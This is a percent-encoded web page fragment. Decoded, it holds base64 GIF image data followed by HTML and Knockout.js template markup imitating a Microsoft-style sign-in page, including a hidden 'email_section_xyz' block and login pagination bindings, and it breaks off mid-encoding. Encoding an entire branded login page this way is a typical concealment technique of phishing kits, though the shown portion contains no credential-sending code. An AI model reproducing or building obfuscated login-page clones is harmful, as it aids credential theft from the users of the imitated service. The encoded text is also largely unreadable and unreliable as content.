44%66%55%49%65%57%67%52%49%45%68%63%67%59%45%49%73%4C%77%41%57%70%45%51%45%48%42%67%41%42%30%4D%73%41%31%6F%5A%52%79%5A%6B%46%52%63%4D%48%4C%49%41%41%34%35%47%41%6D%58%4F%41%34%74%49%68%78%61%52%57%68%59%47%70%6B%63%4B%47%43%51%73%44%52%51%68%56%55%4D%49%48%75%4A%49%32%55%78%42%41%43%48%35%42%41%67%4A%41%41%41%41%4C%41%41%41%41%41%41%55%41%42%51%41%68%51%51%43%42%49%53%43%68%4D%54%43%78%45%52%43%52%4F%54%69%35%47%52%69%5A%42%77%65%48%4B%53%69%70%50%54%79%39%42%51%53%46%4E%54%57%31%46%52%57%56%48%52%79%64%4C%53%79%74%43%77%71%4C%41%77%4B%44%4A%79%65%6E%4D%7A%4B%7A%4F%7A%71%37%50%7A%36%2F%48%78%36%66%49%79%4F%6A%45%78%4B%54%4B%79%71%72%46%78%65%58%4C%79%36%76%44%51%79%4E%41%51%47%42%49%53%47%68%4D%54%47%78%4F%54%6D%35%47%78%71%62%43%51%6D%4A%4B%53%6D%70%50%54%32%39%42%77%61%48%4E%7A%61%33%46%78%61%58%48%52%32%64%4C%53%32%74%43%77%75%4C%41%77%4F%44%4D%7A%4F%7A%4F%7A%75%37%50%7A%2B%2F%48%78%2B%66%45%78%4F%54%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%61%51%77%4A%64%77%53%43%77%61%6A%38%6A%6B%6B%49%55%51%54%5A%52%45%67%67%6B%45%41%49%77%77%45%57%47%48%63%41%79%6C%71%75%43%71%71%5A%4E%51%47%43%2F%67%41%53%57%77%32%49%54%4E%52%4D%38%33%64%53%49%71%71%46%58%34%6B%46%4A%74%46%43%4E%66%65%55%55%55%43%79%5A%46%4B%77%55%75%69%69%34%65%55%49%36%50%53%52%77%55%4A%70%4E%36%51%68%6B%63%48%43%4A%45%4C%43%4E%67%44%43%78%45%43%4A%34%4F%6F%55%75%65%41%43%6D%57%4B%78%5A%56%45%45%57%64%59%41%38%66%46%77%30%74%71%42%5A%50%6E%43%4D%4D%46%47%35%68%56%52%59%72%52%69%77%56%54%77%49%44%76%77%41%6F%42%36%5A%51%4B%79%6F%52%6A%5A%44%55%31%55%4A%42%41%43%48%35%42%41%67%4A%41%41%41%41%4C%41%41%41%41%41%41%55%41%42%51%41%68%51%51%43%42%49%53%43%68%4D%54%43%78%45%52%43%52%4F%54%69%35%42%77%65%48%4B%53%69%70%47%52%69%5A%50%54%79%39%42%51%53%46%4A%53%57%6C%4E%54%57%31%46%52%57%56%43%77%75%4C%4C%53%79%74%48%52%79%64%41%77%4B%44%4D%7A%4B%7A%4F%7A%71%37%50%7A%36%2F%49%79%4B%6A%45%78%4B%54%43%51%6D%4A%4B%79%71%72%47%78%71%62%4A%79%65%6E%46%78%65%58%44%51%32%4E%4C%79%36%76%48%78%2B%66%41%51%47%42%49%53%47%68%4D%54%47%78%4F%54%6D%35%43%51%69%4A%4B%53%6D%70%50%54%32%39%42%77%61%48%4A%79%61%6E%4E%7A%61%33%46%78%61%58%44%51%79%4E%4C%53%32%74%48%52%32%64%41%77%4F%44%4D%7A%4F%7A%4F%7A%75%37%50%7A%2B%2F%45%78%4F%54%47%78%75%62%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%61%5A%51%4A%6C%77%53%43%77%61%6A%38%6A%6B%38%49%55%67%54%5A%52%45%77%73%6F%43%41%4A%51%30%45%65%69%49%56%65%31%57%56%38%2F%6A%70%54%76%6F%42%42%69%65%4B%67%59%5A%30%52%52%55%78%45%57%6A%71%6E%70%78%58%4D%5A%77%6C%43%75%79%62%4D%49%76%4A%30%6B%67%63%31%55%6D%51%77%49%41%41%78%63%6B%52%53%4D%4A%58%53%77%49%51%79%68%64%4A%52%39%36%4D%69%51%4B%4B%51%41%50%51%79%46%70%41%42%34%66%49%55%63%76%41%67%52%44%48%78%34%6C%6F%79%31%51%51%77%6F%6E%43%32%6B%69%43%30%51%75%44%41%2B%43%52%78%39%56%45%42%67%58%44%68%30%46%56%54%41%76%53%42%31%65%58%68%57%54%53%51%49%56%6F%67%41%70%47%63%6D%78%43%43%30%67%70%72%48%64%33%6B%68%42%41%43%48%35%42%41%67%4A%41%41%41%41%4C%41%41%41%41%41%41%55%41%42%51%41%68%51%51%43%42%49%53%43%68%45%52%43%52%4D%54%47%78%43%51%69%4A%47%52%69%5A%4F%7A%71%37%4B%53%6D%70%48%52%79%64%42%51%53%46%4E%54%57%31%49%79%4F%6A%44%51%32%4E%50%54%32%39%4C%53%32%74%41%77%4B%44%46%52%57%56%48%78%36%66%49%79%4B%6A%4D%7A%4F%7A%43%77%75%4C%47%78%71%62%4C%53%79%74%4F%54%69%35%50%7A%2B%2F%41%51%47%42%49%53%47%68%45%78%4B%54%4D%7A%4B%7A%43%51%6D%4A%50%54%79%39%4B%79%71%72%48%52%32%64%42%77%61%48%4E%7A%61%33%4A%53%57%6C%44%77%2B%50%50%7A%36%2F%4C%79%2B%76%41%77%4F%44%46%78%65%58%48%78%2B%66%47%78%75%62%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%61%52%77%4A%56%77%53%43%77%61%6A%38%6A%6B%45%4F%50%78%59%4A%54%45%43%36%69%54%41%59%52%51%48%4F%68%71%42%4F%68%36%41%61%41%53%64%45%46%4B%42%53%42%56%51%4F%56%6F%51%6A%79%4C%43%6B%72%58%55%54%51%39%31%4F%2F%6F%43%55%41%69%32%72%30%56%65%55%4D%67%58%51%5A%43%4A%67%6C%66%41%43%71%43%4B%77%35%64%41%30%73%4E%56%52%45%59%59%6B%4D%66%46%41%52%64%42%42%51%53%51%68%69%62%41%6B%63%61%58%79%69%58%4B%78%56%64%45%30%63%70%58%61%64%45%43%6C%55%45%43%6B%63%42%73%45%57%6C%41%41%38%56%48%78%59%70%47%6B%74%49%72%6F%6F%41%45%56%6F%44%47%32%6B%41%44%41%65%6F%53%68%34%54%41%34%5A%61%31%64%5A%49%51%51%41%68%2B%51%51%49%43%51%41%41%41%43%77%41%41%41%41%41%46%41%41%55%41%49%55%45%41%67%53%45%68%6F%52%45%51%6B%54%45%78%73%51%6B%49%69%52%6B%59%6D%54%73%36%75%79%6B%70%71%51%30%4D%6A%51%55%45%68%52%30%63%6E%54%55%31%74%54%30%39%76%53%30%74%72%52%55%56%6C%51%4D%43%67%79%55%6C%70%51%73%4B%69%77%38%4F%6A%78%38%65%6E%78%4D%53%6B%7A%4D%7A%73%78%73%61%6D%7A%30%38%76%53%73%72%71%77%63%47%68%7A%6B%34%75%54%38%2F%76%7A%45%77%73%51%45%42%67%53%4D%69%6F%78%45%52%6B%54%4D%79%73%77%6B%4A%69%52%6B%5A%6D%54%73%37%75%79%73%71%71%77%30%4E%6A%51%55%46%68%52%30%64%6E%54%63%32%74%7A%38%2B%76%79%38%75%72%78%63%58%6C%77%4D%44%67%79%6B%6F%71%51%73%4C%69%77%38%50%6A%78%38%66%6E%7A%2F%2F%2F%38%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%47%6E%4D%43%59%63%45%67%73%47%6F%2F%49%4A%4A%46%78%32%53%69%4E%6F%77%66%41%74%41%49%70%4B%36%4B%47%63%41%58%6F%41%6B%36%70%49%75%4D%67%36%58%36%45%69%34%43%6A%30%37%55%55%4D%51%67%76%59%45%46%45%52%62%70%61%59%71%72%67%56%52%51%31%4C%41%41%76%52%6E%63%49%41%53%55%58%52%53%64%64%42%6E%70%73%4A%7A%45%70%44%45%55%4E%58%52%78%4C%55%68%4E%47%54%69%71%57%52%53%45%41%5A%30%55%57%45%42%4E%64%47%71%4E%64%46%55%55%74%58%69%46%4F%52%41%74%73%42%48%52%44%46%79%5A%65%4C%79%53%77%51%67%46%64%44%79%49%6B%74%51%70%64%48%53%73%44%76%45%49%77%63%69%35%4F%4B%43%45%65%6A%55%67%44%48%32%77%41%6C%7A%48%4A%53%52%63%56%41%34%6C%50%34%4F%46%50%51%51%41%37%5A%47%35%34%53%30%31%36%4C%30%70%57%5A%6A%67%30%53%32%6B%76%51%58%4E%72%61%45%6C%57%5A%54%68%77%51%55%5A%57%65%47%68%74%4D%45%64%4C%64%48%4E%75%57%56%4E%6F%64%33%64%4E%63%33%70%6A%55%47%68%4A%54%7A%52%55%55%6D%6C%46%4D%6B%4A%6A%64%6D%49%31%57%6B%56%33%63%41%3D%3D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%42%6F%69%6C%65%72%50%6C%61%74%65%54%65%78%74%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%65%6D%61%69%6C%5F%73%65%63%74%69%6F%6E%5F%78%79%7A%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%20%72%6F%6C%65%3D%22%6D%61%69%6E%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%70%61%67%69%6E%61%74%69%6F%6E%2D%63%6F%6E%74%72%6F%6C%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%75%62%6C%69%63%4D%65%74%68%6F%64%73%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%6E%61%62%6C%65%43%73%73%41%6E%69%6D%61%74%69%6F%6E%3A%20%73%76%72%2E%66%45%6E%61%62%6C%65%43%73%73%41%6E%69%6D%61%74%69%6F%6E%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%69%74%69%61%6C%56%69%65%77%49%64%3A%20%69%6E%69%74%69%61%6C%56%69%65%77%49%64%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%75%72%72%65%6E%74%56%69%65%77%49%64%3A%20%63%75%72%72%65%6E%74%56%69%65%77%49%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%69%74%69%61%6C%53%68%61%72%65%64%44%61%74%61%3A%20%69%6E%69%74%69%61%6C%53%68%61%72%65%64%44%61%74%61%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%69%74%69%61%6C%45%72%72%6F%72%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%67%65%74%53%65%72%76%65%72%45%72%72%6F%72%28%29%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%61%6E%63%65%6C%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%5F%6F%6E%43%61%6E%63%65%6C%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%56%69%65%77%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%53%68%6F%77%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%4C%69%67%68%74%42%6F%78%46%61%64%65%49%6E%3A%20%76%69%65%77%5F%6F%6E%53%65%74%4C%69%67%68%74%42%6F%78%46%61%64%65%49%6E%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6E%69%6D%61%74%69%6F%6E%53%74%61%74%65%43%68%61%6E%67%65%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%5F%6F%6E%41%6E%69%6D%61%74%69%6F%6E%53%74%61%74%65%43%68%61%6E%67%65%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%27%7A%65%72%6F%2D%6F%70%61%63%69%74%79%27%3A%20%68%69%64%65%50%61%67%69%6E%61%74%65%64%56%69%65%77%28%29%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%68%6F%77%49%64%65%6E%74%69%74%79%42%61%6E%6E%65%72%28%29%20%26%26%20%28%73%68%61%72%65%64%44%61%74%61%2E%64%69%73%70%6C%61%79%4E%61%6D%65%20%7C%7C%20%73%76%72%2E%73%50%4F%53%54%5F%55%73%65%72%6E%61%6D%65%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%70%61%67%69%6E%61%74%69%6F%6E%2D%76%69%65%77%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%27%68%61%73%2D%69%64%65%6E%74%69%74%79%2D%62%61%6E%6E%65%72%27%3A%20%73%68%6F%77%49%64%65%6E%74%69%74%79%42%61%6E%6E%65%72%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%28%73%68%61%72%65%64%44%61%74%61%2E%64%69%73%70%6C%61%79%4E%61%6D%65%20%7C%7C%20%73%76%72%2E%73%50%4F%53%54%5F%55%73%65%72%6E%61%6D%65%29%2C%20%20%20%20%20%20%20%20%27%7A%65%72%6F%2D%6F%70%61%63%69%74%79%27%3A%20%68%69%64%65%50%61%67%69%6E%61%74%65%64%56%69%65%77%2E%68%69%64%65%53%75%62%56%69%65%77%28%29%2C%0A%20%20%20%20%20%20%20%20%27%61%6E%69%6D%61%74%65%27%3A%20%61%6E%69%6D%61%74%65%28%29%2C%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%6F%75%74%2D%6E%65%78%74%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%4F%75%74%4E%65%78%74%28%29%2C%0A%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%69%6E%2D%6E%65%78%74%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%49%6E%4E%65%78%74%28%29%2C%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%6F%75%74%2D%62%61%63%6B%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%4F%75%74%42%61%63%6B%28%29%2C%0A%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%69%6E%2D%62%61%63%6B%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%49%6E%42%61%63%6B%28%29%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%66%6F%72%65%61%63%68%3A%20%76%69%65%77%73%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%74%65%6D%70%6C%61%74%65%3A%20%7B%20%6E%6F%64%65%73%3A%20%5B%24%64%61%74%61%5D%2C%20%64%61%74%61%3A%20%24%70%61%72%65%6E%74%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%76%69%65%77%69%64%3D%22%31%22%20%64%61%74%61%2D%73%68%6F%77%66%65%64%63%72%65%64%62%75%74%74%6F%6E%3D%22%74%72%75%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%70%61%67%65%56%69%65%77%43%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%6C%6F%67%69%6E%2D%70%61%67%69%6E%61%